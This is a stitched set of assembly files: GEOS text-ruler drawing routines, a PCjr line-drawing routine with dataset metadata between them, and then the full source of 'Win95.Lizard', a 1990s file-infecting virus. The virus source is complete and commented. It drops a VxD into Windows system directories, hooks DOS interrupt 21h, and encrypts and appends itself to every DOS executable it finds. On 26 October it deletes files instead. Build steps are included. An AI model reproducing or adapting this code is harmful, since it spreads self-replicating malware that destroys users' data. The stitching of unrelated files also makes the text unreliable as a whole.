KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 4/ 6/92 Initial version
------------------------------------------------------------------------------@
TextRulerDraw method dynamic TextRulerClass, MSG_VIS_DRAW
; if the ruler is not valid then do not draw it
tst ds:[di].TRI_valid
pushf
; Draw the upper part of the ruler...
push bp
mov di, offset TextRulerClass
call ObjCallSuperNoLock
pop di ;di = gstate
popf
jz done
call DrawMarginsAndTabs
done:
ret
TextRulerDraw endm
COMMENT @----------------------------------------------------------------------
FUNCTION: DrawMarginsAndTabs
DESCRIPTION: Draw the tick marks on the ruler
CALLED BY: INTERNAL
PASS:
*ds:si - text ruler
di - gstate
RETURN:
none
DESTROYED:
ax, bx, cx, dx, bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/90 Initial version
------------------------------------------------------------------------------@
DrawMarginsAndTabs proc near
class TextRulerClass
mov ax, C_BLACK
call GrSetLineColor
call GrSetAreaColor
mov bx, ds:[si]
add bx, ds:[bx].Vis_offset
tst ds:[bx].TRI_valid
LONG jz done
; draw pattern if multiple rulers
test ds:[bx].TRI_diffs.VTPAD_diffs,
mask VTPAF_MULTIPLE_LEFT_MARGINS or \
mask VTPAF_MULTIPLE_RIGHT_MARGINS or \
mask VTPAF_MULTIPLE_PARA_MARGINS or \
mask VTPAF_MULTIPLE_TAB_LISTS or \
mask VTPAF_MULTIPLE_DEFAULT_TABS
jz notMultipleRulers
mov ax, SDM_12_5
call GrSetAreaMask
mov ax, C_RED
call GrSetAreaColor
push bx
call GrGetWinBounds
mov bx, VIS_RULER_HEIGHT + 1
call GrFillRect
pop bx
mov ax, SDM_100
call GrSetAreaMask
mov ax, C_BLACK
call GrSetAreaColor
notMultipleRulers:
; get scale and pointer to ruler
push ds:[bx].TRI_selectedTab ;save selected tab for later
add bx, offset TRI_paraAttr ;ds:bx = para attr
; draw the margins
mov bp, -1 ;do not draw selected
mov ax, ds:[bx].VTPA_leftMargin
mov dx, TMBO_LEFT_MARGIN
call DrawMarginOrTab
mov ax, ds:[bx].VTPA_paraMargin
mov dx, TMBO_PARA_MARGIN
call DrawMarginOrTab
mov ax, ds:[bx].VTPA_rightMargin
mov dx, TMBO_RIGHT_MARGIN
call DrawMarginOrTab
; draw the tabs
pop bp ;bp = selected tab
push bx ;save pointer to ruler
push ax ;save right margin
clr ax ;ax holds position of last tab
clr cx
mov cl, ds:[bx].VTPA_numberOfTabs
jcxz afterTab
add bx, size VisTextParaAttr ;ds:bx = first tab
tabLoop:
; get correct bitmap
clr dx
push ax ;save last tab position
mov dl, ds:[bx].T_attr
and dl, mask TA_TYPE or mask TA_LEADER ;get type bits
CheckHack <(offset TBTI_TYPE eq 2) and (offset TBTI_LEADER eq 4)>
shl dx
shl dx
; set bits for line and leader
tst ds:[bx].T_lineWidth
jz noLine
or dl, mask TBTI_LINE
noLine:
add dx, TMBO_TABS
mov ax, ds:[bx].T_position
call DrawMarginOrTab
pop dx ;recover last tab position
pop ax
push ax ;ax = right margin
cmp ax, ds:[bx].T_position ;is right margin < tab ?
jge thisTabIsAfterRightMargin
mov ax, dx
jmp common
thisTabIsAfterRightMargin:
mov ax, ds:[bx].T_position
common:
add bx, size Tab
loop tabLoop
afterTab:
pop bx ;discard right margin
pop bx ;ds:bx = ruler
; check for default tabs -- ax = last tab
mov cx, ds:[bx].VTPA_leftMargin ;get lesser of left and para
cmp ax, cx
jae 20$
mov_tr ax, cx
20$:
mov bp, ds:[bx].VTPA_defaultTabs
mov bx, ds:[bx].VTPA_rightMargin
; calculate first default tab position
; bp = default tab step, ax = last real tab
; bx = right margin
tst bp
jz afterDefaultTabs
clr dx
30$:
add dx, bp
cmp dx, ax
jbe 30$
mov_tr ax, dx ;ax = first deefault tab
defaultTabLoop:
cmp ax, bx
jae afterDefaultTabs
push ax, bp
mov bp, -1 ;do not draw selected
mov dx, TMBO_DEFAULT_TAB
call DrawMarginOrTab
pop ax, bp
add ax, bp
jmp defaultTabLoop
afterDefaultTabs:
done:
.leave
ret
DrawMarginsAndTabs endp
COMMENT @----------------------------------------------------------------------
FUNCTION: DrawMarginOrTab
DESCRIPTION: Draw a margin or a tab
CALLED BY: INTERNAL
PASS:
*ds:si - text ruler
ax - x position to draw
dx - offset into TabMarginBitmaps to get the address of the bitmap
di - gstate
bp - position of selected marker. if (ax == bp) then draw this marker
as selected
RETURN:
none
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/90 Initial version
------------------------------------------------------------------------------@
DrawMarginOrTab proc near uses ax, bx, cx, si, bp, ds
.enter
; set bp to be "selected flag"
cmp ax, bp
mov bp, 0 ;assume not selected
jnz notSelectedTab
dec bp
notSelectedTab:
; calculate real position
call RulerCoordToObjectCoord
; get pointer to the bitmap
mov bx, handle TabMarginBitmaps
push bx
push ax
call MemLock
EC < ERROR_C MEM_LOCK_RETURNED_ERROR_CALL_TONY >
mov ds, ax
pop ax
mov si, offset TabMarginBitmaps
mov si, ds:[si]
mov bx, si
add bx, dx ;ds:si = ptr to bitmap data
add si, ds:[bx] ;ds:si = data
; first byte is offset to the middle of the bitmap -- add it in
clr bx
mov bl, ds:[si]
sub ax, bx
inc si
; draw it
mov bx, VIS_RULER_HEIGHT + 1
call GrFillBitmap
; draw selection if needed
tst bp
jz notSelection
add bx, TEXT_RULER_TOP_ARROW_Y
sub ax, TEXT_RULER_TOP_ARROW_X
call DrawArrow
notSelection:
pop bx
call MemUnlock
.leave
ret
DrawMarginOrTab endp
COMMENT @----------------------------------------------------------------------
FUNCTION: RedrawMarginsAndTabs
DESCRIPTION: Redraw the margins and tabs
CALLED BY: INTERNAL
PASS:
*ds:si - ruler top object
RETURN:
none
DESTROYED:
ax, bx, cx, dx, di, bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/90 Initial version
------------------------------------------------------------------------------@
RedrawMarginsAndTabs proc near
class TextRulerClass
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_attrs, mask VA_REALIZED
jz done
call GetRulerGState
mov bx, VIS_RULER_HEIGHT + 1
call GrFillRect
call DrawMarginsAndTabs
call GrDestroyState
done:
ret
RedrawMarginsAndTabs endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GetRulerGState
DESCRIPTION: Get a gstate
CALLED BY: INTERNAL
PASS:
*ds:si - object
RETURN:
ax, bx, cx, dx - bounds
di, bp - gstate (with background color set as area color)
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/90 Initial version
------------------------------------------------------------------------------@
GetRulerGState proc near
class TextRulerClass
.enter
mov di, ds:[si]
add di, ds:[di].Vis_offset
mov di, ds:[di].VRI_window
push si
mov si, WIT_COLOR
call WinGetInfo ;bxax = color
pop si
pushdw bxax
; get a gstate and get the color scheme
mov ax, MSG_VIS_VUP_CREATE_GSTATE
call ObjCallInstanceNoLock
mov di, bp
popdw bxax
call GrSetAreaColor
call GrGetWinBounds
mov bp, di
.leave
ret
GetRulerGState endp
COMMENT @----------------------------------------------------------------------
FUNCTION: DrawArrow
DESCRIPTION: Draw an arrow
CALLED BY: INTERNAL
PASS:
ax, bx - position
RETURN:
none
DESTROYED:
ax, bx
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/90 Initial version
------------------------------------------------------------------------------@
DrawArrow proc near uses si, ds
.enter
push ax, bx
mov bx, handle ArrowBitmap
call MemLock
mov ds, ax
pop ax, bx
; draw the sucker
mov si, offset ArrowBitmap
mov si, ds:[si] ;ds:si = bitmap
call GrFillBitmap
mov bx, handle ArrowBitmap
call MemUnlock
.leave
ret
DrawArrow endp
RulerCommon ends
| 18.598095
| 80
| 0.603544
|
88c05d40687e172375698aac1ba98d3ad3633b97
| 11,952
|
asm
|
Assembly
|
common/draw_line_320_200_4color.asm
|
c64scene-ar/64k-ought-to-be-enough
|
d97997ecd5ddb598bd58fa61da76e4b0c10c5bc1
|
[
"MIT"
] | 4
|
2018-09-27T06:44:33.000Z
|
2019-03-16T13:37:01.000Z
|
common/draw_line_320_200_4color.asm
|
c64scene-ar/64k-ought-to-be-enough
|
d97997ecd5ddb598bd58fa61da76e4b0c10c5bc1
|
[
"MIT"
] | null | null | null |
common/draw_line_320_200_4color.asm
|
c64scene-ar/64k-ought-to-be-enough
|
d97997ecd5ddb598bd58fa61da76e4b0c10c5bc1
|
[
"MIT"
] | 2
|
2018-10-16T01:49:09.000Z
|
2020-08-11T12:35:55.000Z
|
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-;
;
; Name: Line04
;
; Function: Draw a line in 320x200 16-color mode
;
; Caller:
; ax = x1
; bl = y1
; cx = x2
; dx = y2
; bp = color
;
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-;
;
; From:
; Programmers's Guide To PC & PS/2: Video Systems
; by Richard Wilton
;
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-;
;
; Adapted to nasm and, PCjr's 320x200 16-color: riq
;
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-;
ByteOffsetShift EQU 2 ; used to convert pixels to byte offset
Line04:
push si
push di
mov [ARGx1],ax ;tmp for x1
mov [ARGy1],bx ;tmp for both y1 and y2
mov [ARGx2],cx ;tmp for x2
mov [ARGy2],dx ;tmp for x2
mov dx,bp
mov [ARGn],dl ;tmp for color
mov si,0x2000 ; increment for video buffer interleave
mov di,80-0x2000 ; increment from last to first interleave
sub cx,ax ; CX := x2 - x1
jz VertLine04 ; jump if vertical line
; force x1 < x2
jns L01 ; jump if x2 > x1
neg cx ; CX := x1 - x2
mov bx,[ARGx2] ; exchange x1 and x2
xchg bx,[ARGx1]
mov [ARGx2],bx
mov bx,[ARGy2] ; exchange y1 and y2
xchg bx,[ARGy1]
mov [ARGy2],bx
; calculate dy = ABS(y2-y1)
L01: mov bx,[ARGy2]
sub bx,[ARGy1] ;BX := y2 - y1
jnz L02
jmp HorizLine04 ; jump if horizontal line
L02: jns L03
neg bx ; BX := y1 - y2
neg si ; negate increments for buffer interleave
neg di
xchg si,di ; exchange increments
; select appropriate routine for slope of line
L03: mov [VARleafincr],di ; save increment for buffer interleave
mov word [VARroutine],LoSlopeLine04
cmp bx,cx
jle L04 ; jump if dy <= dx (slope <= 1)
mov word [VARroutine],HiSlopeLine04
xchg bx,cx ; exchange dy and dx
; calculate initial decision variable and increments
L04: shl bx,1 ; BX := 2 * dy
mov [VARincr1],bx ; incr1 := 2 * dy
sub bx,cx
mov di,bx ; DI := d = 2 * dy - dx
sub bx,cx
mov [VARincr2],bx ; incr2 := 2 * (dy - dx)
; calculate first pixel address
push cx ; preserve this register
mov ax,[ARGy1] ; AX := y
mov bx,[ARGx1] ; BX := x
call PixelAddr04 ; AH := bit mask
; ES:BX -> buffer
; CL := # bits to shift left
mov al,[ARGn] ; AL := unshifted pixel value
shl ax,cl ; AH := bit mask in proper position
; AL := pixel value in proper position
mov dx,ax ; DH := bit mask
; DL := pixel value
not dh ; DH := inverse bit mask
pop cx ; restore this register
inc cx ; CX := # of pixels to draw
test bx,0x2000 ; set zero flag if BX in 1st interleave
jz L05
xchg si,[VARleafincr] ; exchange increment values if 1st pixel
; lies in 1st interleave
L05: jmp [VARroutine] ; jump to appropriate routine for slope
; routine for vertical lines
VertLine04:
mov ax,[ARGy1] ; AX := y1
mov bx,[ARGy2] ; BX := y2
mov cx,bx
sub cx,ax ; CX := dy
jge L31 ; jump if dy >= 0
neg cx ; force dy >= 0
mov ax,bx ; AX := y2
L31: inc cx ; CX := # of pixels to draw
mov bx,[ARGx1] ; BX := x
push cx ; preserve this register
call PixelAddr04 ; AH := bit mask
; ES:BX -> video buffer
; CL := # bits to shift left
mov al,[ARGn] ; AL := pixel value
shl ax,cl ; AH := bit mask in proper position
; AL := pixel value in proper position
not ah ; AH := inverse bit mask
pop cx ; restore this register
test bx,si ; set zero flag if BX in 1st interleave
jz L32
xchg si,di ; exchange increment values if 1st pixel
; lies in 1st interleave
L32: and [es:bx],ah ; zero pixel in buffer
or [es:bx],al ; set pixel value in buffer
add bx,si ; increment to next portion of interleave
xchg si,di ; toggle between increment values
loop L32
jmp Lexit
; routine for horizontal lines (slope = 0)
HorizLine04:
mov ax,[ARGy1]
mov bx,[ARGx1]
call PixelAddr04 ; AH := bit mask
; ES:BX -> video buffer
; CL := # bits to shift left
mov di,bx ; ES:DI -> buffer
mov dh,ah
not dh ; DH := unshifted bit mask for leftmost
; byte
mov dl,0xff ; DL := unshifted bit mask for
; rightmost byte
shl dh,cl ; DH := reverse bit mask for first byte
not dh ; DH := bit mask for first byte
mov cx,[ARGx2]
and cl,3
xor cl,3
shl cl,1 ; CL := number of bits to shift left
shl dl,cl ; DL := bit mask for last byte
; determine byte offset of first and last pixel in the line
mov ax,[ARGx2] ; AX := x2
mov bx,[ARGx1] ; BX := x1
mov cl,ByteOffsetShift ; number of bits to shift to
; convert pixels to bytes
shr ax,cl ; AX := byte offset of x2
shr bx,cl ; BX := byte offset of x1
mov cx,ax
sub cx,bx ; CX := (# bytes in line) - 1
; propagate pixel value throughout one byte
mov bx,PropagatedPixel
mov al,[ARGn] ; AL := pixel value
xlatb ; AL := propagated pixel value
; set pixels in leftmost byte of the line
or dh,dh
js L43 ; jump if byte-aligned (x1 is leftmost
; pixel in byte)
or cx,cx
jnz L42 ; jump if more than one byte in the line
and dl,dh ; bit mask for the line
jmp short L44
L42: mov ah,al
and ah,dh ; AH := masked pixel bits
not dh ; DH := reverse bit mask for 1st byte
and [es:di],dh ; zero masked pixels in buffer
or [es:di],ah ; update masked pixels in buffer
inc di
dec cx
; use a fast 8086 machine instruction to draw the remainder of the line
L43: rep stosb ; update all pixels in the line
; set pixels in the rightmost byte of the line
L44: and al,dl ; AL := masked pixels for last byte
not dl
and [es:di],dl ; zero masked pixels in buffer
or [es:di],al ; update masked pixels in buffer
jmp Lexit
; routine for dy <= dx (slope <= 1) ; ES:BX -> video buffer
; CX = # pixels to draw
; DH = inverse bit mask
; DL = pixel value in proper position
; SI = buffer interleave increment
; DI = decision variable
LoSlopeLine04:
L10: mov ah,[es:bx] ; AH := byte from video buffer
L11: and ah,dh ; zero pixel value at current bit offset
or ah,dl ; set pixel value in byte
ror dl,1 ; rotate pixel value
ror dl,1
ror dh,1 ; rotate bit mask
ror dh,1
jnc L14 ; jump if bit mask rotated to
; leftmost pixel position
; bit mask not shifted out
or di,di ; test sign of d
jns L12 ; jump if d >= 0
add di,[VARincr1] ; d := d + incr1
loop L11
mov [es:bx],ah ; store remaining pixels in buffer
jmp short Lexit
L12: add di,[VARincr2] ; d := d + incr2
mov [es:bx],ah ; update buffer
add bx,si ; increment y
xchg si,[VARleafincr] ; exchange interleave increment values
loop L10
jmp short Lexit
; bit mask shifted out
L14: mov [es:bx],ah ; update buffer
inc bx ; BX := offset of next byte
or di,di ; test sign of d
jns L15 ; jump if non-negative
add di,[VARincr1] ; d := d + incr1
loop L10
jmp short Lexit
L15: add di,[VARincr2] ; d := d + incr2
add bx,si ; increment y
xchg si,[VARleafincr]
loop L10
jmp short Lexit
; routine for dy > dx (slope > 1) ; ES:BX -> video buffer
; CX = # pixels to draw
; DH = inverse bit mask
; DL = pixel value in proper position
; SI = buffer interleave increment
; DI = decision variable
HiSlopeLine04:
L21: and [es:bx],dh ; zero pixel value in video buffer
or [es:bx],dl ; set pixel value in byte
add bx,si ; increment y
xchg si,[VARleafincr] ; exchange interleave increment values
L22: or di,di ; test sign of d
jns L23 ; jump if d >= 0
add di,[VARincr1] ; d := d + incr1
loop L21
jmp short Lexit
L23: add di,[VARincr2] ; d := d + incr2
ror dl,1 ; rotate pixel value
ror dl,1
ror dh,1 ; rotate bit mask
ror dh,1
cmc ; cf set if bit mask not rotated to
; leftmost pixel position
adc bx,0 ; BX := offset of next byte
loop L21
Lexit: pop di ; restore registers and return
pop si
ret
PropagatedPixel:
db 00000000b ; 0
db 01010101b ; 1
db 10101010b ; 2
db 11111111b ; 3
VARleafincr: dw 0
VARincr1: dw 0
VARincr2: dw 0
VARroutine: dw 0
ARGx1: dw 0 ;x1
ARGx2: dw 0 ;x2
ARGy1: dw 0 ;y1
ARGy2: dw 0 ;y2
ARGn: db 0 ;color
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-;
; Includes
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-;
%include 'common/pixel_addr_320_200_4color.asm'
| 32.478261
| 81
| 0.421519
|
2ed9447d8e4f9fddc581c944eefe034c82e197d7
| 283
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/target/rc2014/driver/ram/c/sdcc/shadow_relocate.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | 4
|
2021-12-23T15:34:05.000Z
|
2021-12-23T15:36:16.000Z
|
libsrc/_DEVELOPMENT/target/rc2014/driver/ram/c/sdcc/shadow_relocate.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | 2
|
2022-03-20T22:17:35.000Z
|
2022-03-24T16:10:00.000Z
|
libsrc/_DEVELOPMENT/target/rc2014/driver/ram/c/sdcc/shadow_relocate.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | null | null | null |
; void shadow_relocate(void * address)
SECTION smc_lib
PUBLIC _shadow_relocate
EXTERN asm_push_di
EXTERN asm_pop_ei_jp
EXTERN asm_shadow_relocate
._shadow_relocate
pop bc
pop hl
push hl
push bc
call asm_push_di
call asm_shadow_relocate
jp asm_pop_ei_jp
| 11.791667
| 38
| 0.770318
|
3296d2bc5ac71b9385029b6ae19bb7ead49d8097
| 12,880
|
asm
|
Assembly
|
Legacy Windows/Win95.Lizard/Win95.Lizard.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3
|
2021-05-15T15:57:13.000Z
|
2022-03-16T09:11:05.000Z
|
Legacy Windows/Win95.Lizard/Win95.Lizard.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | null | null | null |
Legacy Windows/Win95.Lizard/Win95.Lizard.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3
|
2021-05-15T15:57:15.000Z
|
2022-01-08T20:51:04.000Z
|
;Win95.Lizard
;-----------------------------------------------------------------------------
;Lizard by Reptile/29A (another version ;)
;-----------------------------------------------------------------------------
; 22222 99999 AAAAA
; 222 222 999 999 AAA AAA
; 222 999999 AAAAAAA
; 222 999 AAA AAA
; 2222222 999999 AAA AAA
;This is an encrypted vxd direct action dos exe infector (I added some anti-
;heuristics and other stuff and optimized the code of v1.0).
;When an infected file is run the virus decrypts itself, drops lzd.vxd to the
;available one of the three dirs and then returns back to the host. After the
;next reboot...
;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz
;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini
;or the registry). Then the virus takes control and hooks the V86 interrupt
;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh)
;and on find first file (4eh) using direct action techniques to infect all
;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size
;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!)
;bytes.
;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't
;detect it (all for win95).
;Compiling lzd.vxd (win95 DDK):
;makefile
;Compiling rmlzd.inc:
;tasm /m2 rmlzd.asm
;tlink /t rmlzd.obj
;file2db rmlzd.com (or another db generator)
;modify rmlzd.dat
;To install copy lzd.vxd to one of the following dirs:
;- c:\windows\system\iosubsys
;- c:\win95\system\iosubsys
;- c:\windows.000\system\iosubsys
;...or start lizard.exe :)
;P.S.:
;Sandy: are u lucky now? ;)
;Jacky: thanx for testing it!
;GriYo: the stack stuff really didn't work :P
;P.P.S:
;TrY MaGiC MuShRoOmS...
;---[LZD.ASM]-----------------------------------------------------------------
.386p
.xlist
include vmm.inc
.list
vxdhsize equ 701
vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
vsize equ vend - start
Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \
Undefined_Init_Order,,
VxD_Locked_Data_Seg
wcard db '*.e?e',0 ;*.l?z
include rmlzd.inc ;realmode code
dflag db 0
pflag db 0
ndta db 43 dup (?)
header db 26 dup (?)
VxD_Locked_Data_Ends
;-----------------------------------------------------------------------------
VxD_Locked_Code_Seg
BeginProc LZD_Device_Init
;trigger
mov ah,2ah ;get date
vxdint 21h
;live drazil si
cmp dh,10 ;26.10.?
jne npload
cmp dl,26
jne npload
mov pflag,1 ;hehe
npload:
mov eax,21h ;install int 21h handler
mov esi,offset32 int21h
VMMcall Hook_V86_Int_Chain
clc
ret
EndProc LZD_Device_Init
;-----------------------------------------------------------------------------
BeginProc int21h
cmp [ebp.Client_AH],4bh ;exec
je short ww
cmp [ebp.Client_AH],3ch ;create
je short ww
cmp [ebp.Client_AH],6ch ;ext. open
je short ww
cmp [ebp.Client_AH],3eh ;close
je short ww
cmp [ebp.Client_AH],4eh ;find first
je short ww
jmp prevhook
ww:
Push_Client_State ;save regs
VMMcall Begin_Nest_Exec
;-----------------------------------------------------------------------------
cmp dflag,1
je done
mov ax,3d02h ;open lzd.vxd
lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir
vxdint 21h
jnc short rd
mov ax,3d02h ;open the vxd
lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir
vxdint 21h
jnc short rd
mov ax,3d02h ;open the vxd
lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir
vxdint 21h
jc ecsit ;skip it
rd:
xchg ax,bx
mov ah,3fh ;store the header of the vxd
mov cx,vxdhsize
lea edx,vxdheader
vxdint 21h
mov ax,4201h ;jmp over zeros
xor cx,cx
mov dx,3400
vxdint 21h
mov ah,3fh ;store the vxddata
mov cx,vxddsize
lea edx,vxddata
vxdint 21h
mov ax,4201h ;jmp over realmodecode and zeros
xor cx,cx
mov dx,2037
vxdint 21h
mov ah,3fh ;store the vxdcode
mov cx,vxdcsize
lea edx,vxdcode
vxdint 21h
mov ah,3eh ;close...
vxdint 21h
mov dflag,1 ;set flag
;-----------------------------------------------------------------------------
done:
mov ah,1ah ;set dta
lea edx,ndta
vxdint 21h
ffirst:
mov ah,4eh ;search for first exe
jmp short w
fnext:
mov ah,4fh ;find next exe
w:
mov cx,7
lea edx,wcard ;*.e?e
vxdint 21h
jc ecsit
mov ax,4301h ;set normal attribute
mov cx,20h
lea edx,[ndta + 30]
vxdint 21h
cmp pflag,1 ;sux0ring microsuckers
jne pheeew ;(the payload in v1.0 was a bit too destructive ;)
evil:
;evil payload against the imperialism of microsoft!
mov ah,41h ;yhcrana
lea edx,[ndta + 30]
vxdint 21h
jmp ecsit
pheeew:
mov ax,3d02h ;open the victim
lea edx,[ndta + 30]
vxdint 21h
jc fnext
xchg ax,bx
mov ah,3fh ;read header
mov cx,26
lea edx,header
vxdint 21h
cmp word ptr [header],'ZM' ;exe?
jne cfile
cmp word ptr [header + 0ch],0ffffh ;allocate all mem?
jne cfile
cmp word ptr [header + 18h],40h ;win exe?
je cfile
mov al,[header + 12h] ;infected?
or al,al
jne cfile
;save ss:sp
mov ax,word ptr [header + 0eh]
mov sseg,ax
mov ax,word ptr [header + 10h]
mov ssp,ax
;save cs:ip
mov eax,dword ptr [header + 14h]
mov csip,eax
mov ax,4202h ;eof
xor cx,cx
cwd
vxdint 21h
;calc new cs:ip
mov cx,16
div cx
sub ax,word ptr [header + 8]
mov word ptr [header + 14h],dx
mov word ptr [header + 16h],ax
add edx,vend ;calc stack
mov word ptr [header + 0eh],ax
mov word ptr [header + 10h],dx
;xor encryption
rdnm:
in al,40h
or al,al
je rdnm
mov [encval],al ;save random value
mov edi,offset32 encstart
mov cx,esize
xl:
xor [edi],al
inc edi
loop xl
;write virus
mov ah,40h
mov cx,vsize
mov edx,offset32 start
vxdint 21h
;undo
mov al,[encval]
mov edi,offset32 encstart
mov cx,esize
xll:
xor [edi],al
inc edi
loop xll
mov ax,4202h ;eof
xor cx,cx
cwd
vxdint 21h
mov cx,512 ;calc pages
div cx
or dx,dx
jz short np
inc ax
np:
mov word ptr [header + 4],ax
mov word ptr [header + 2],dx
mov ax,4200h ;bof
xor cx,cx
cwd
vxdint 21h
rnd:
in al,40h ;set infection flag
or al,al
je rnd
mov [header + 12h],al
mov ah,40h ;write new header
mov cx,26
lea edx,header
vxdint 21h
cfile:
mov cl,byte ptr [ndta + 21] ;restore attribute
lea edx,[ndta + 1eh]
mov ax,4301h
vxdint 21h
mov cx,word ptr [ndta + 22] ;restore time/date
mov dx,word ptr [ndta + 24]
mov ax,5701
vxdint 21h
mov ah,3eh ;close file
vxdint 21h
jmp fnext
ecsit:
VMMcall End_Nest_Exec
Pop_Client_State
prevhook:
stc
ret
EndProc int21h
;-----------------------------------------------------------------------------
BeginProc LZD_Control
Control_Dispatch Init_Complete,LZD_Device_Init
clc
ret
EndProc LZD_Control
wb db 13,10,'Lizard by Reptile/29A',0
VxD_Locked_Code_Ends
End ;this is the end my only friend the end...
;---[RMLZD.ASM]---------------------------------------------------------------
;Lizard's real mode portion
.286
vxdhsize equ 701
vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
rmsize equ rmend - rmstart
.model tiny
.code
org 100h
start:
rmstart:
;get delta
;-----------------------------------------------------------------------------
call $ + 3
drazil:
pop si
sub si,offset drazil
push si
pop bp
;-----------------------------------------------------------------------------
push ds ;coz psp
push cs
pop ds
;decrypt it
db 176 ;mov al
encval db 0
;-----------------------------------------------------------------------------
lea di,[bp + offset encstart]
mov cx,esize
xd:
jmp fj
fj2:
inc di
loop xd
jmp encstart
fj:
xor [di],al
jmp fj2
;-----------------------------------------------------------------------------
encstart:
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys
int 21h
jnc cfile ;exit if already installed
mov ah,3ch ;install lzd.vxd
xor cx,cx
int 21h
jnc inst
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname2] ;c:\win95\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jnc inst
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jc exit
inst:
xchg ax,bx
mov ah,40h ;write the header
mov cx,vxdhsize
lea dx,[bp + offset vxdheader]
int 21h
;write some zeros
mov cx,3400
lzero:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero
mov ah,40h ;write the data
mov cx,vxddsize
lea dx,[bp + offset vxddata]
int 21h
mov ah,40h ;write the rmcode
mov cx,rmsize
lea dx,[bp + offset rmstart]
int 21h
;write some more zeros
mov cx,1732
lzero2:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero2
mov ah,40h ;write the code
mov cx,vxdcsize
lea dx,[bp + offset vxdcode]
int 21h
cfile:
mov ah,3eh
int 21h
;exe return
exit:
pop ax ;psp
add ax,11h
dec ax
add word ptr [bp + offset csip + 2],ax
;stack
db 5 ;add ax
sseg dw 0fff0h ;test
mov ss,ax
db 0bch ;mov sp
ssp dw 0fffeh
db 0eah
csip dd 0fff00000h
zero db 0
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
rmend:
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
ends
end start
;---[RMLZD.INC]---------------------------------------------------------------
;Modified db listing of rmlzd.com
start:
db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h
db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h
;db 000h
encval db 0
db 08Dh
db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h
db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh
db 0F7h
encstart:
db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h
